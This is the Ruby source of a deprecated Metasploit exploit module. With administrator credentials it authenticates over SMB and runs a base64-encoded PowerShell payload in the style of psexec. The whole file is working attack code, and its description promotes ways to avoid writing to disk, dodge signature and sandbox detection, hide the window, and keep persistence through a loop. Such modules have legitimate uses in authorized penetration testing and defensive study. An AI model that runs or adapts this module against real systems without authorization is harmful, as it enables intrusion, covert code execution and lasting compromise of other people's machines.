# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  # Exploit mixins should be called first
  include Msf::Exploit::Remote::SMB::Client::Psexec
  include Msf::Exploit::Powershell

  include Msf::Module::Deprecated
  deprecated(
    Date.new(2020, 9, 16),
    reason = "Use exploit/windows/smb/psexec and the 'PowerShell' target"
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Microsoft Windows Authenticated Powershell Command Execution',
      'Description'      => %q{
          This module uses a valid administrator username and password to execute a powershell
        payload using a similar technique to the "psexec" utility provided by SysInternals. The
        payload is encoded in base64 and executed from the commandline using the -encodedcommand
        flag. Using this method, the payload is never written to disk, and given that each payload
        is unique, is less prone to signature based detection. A persist option is provided to
        execute the payload in a while loop in order to maintain a form of persistence. In the
        event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
        avoid detection. In order to avoid interactive process notifications for the current user,
        the psh payload has been reduced in size and wrapped in a powershell invocation which hides
        the window entirely.
      },

      'Author'           => [
        'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
        'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
      ],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'DefaultOptions'   =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC'     => 'thread'
        },
      'Payload'          =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'         => 'win',
      'Targets'          =>
        [
          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
      'DefaultTarget'    => 0,
      'DisclosureDate'   => 'Jan 01 1999',
      'References'       => [
        [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
        [ 'OSVDB', '3106'],
        [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
        [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
        [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
      ]
    ))

    register_options([
      OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
    ])
  end

  def exploit
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
    if datastore['DryRun']
      print_good command.inspect
      return
    end

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Try and authenticate with given credentials
    if connect
      begin
        connect(versions: [2,1])
        smb_login
      rescue StandardError => autherror
        fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
      end
      # Execute the powershell command
      print_status("Executing the payload...")
      begin
        return psexec(command)
      rescue StandardError => exec_command_error
        fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
      ensure
        disconnect
      end
    end
  end
end

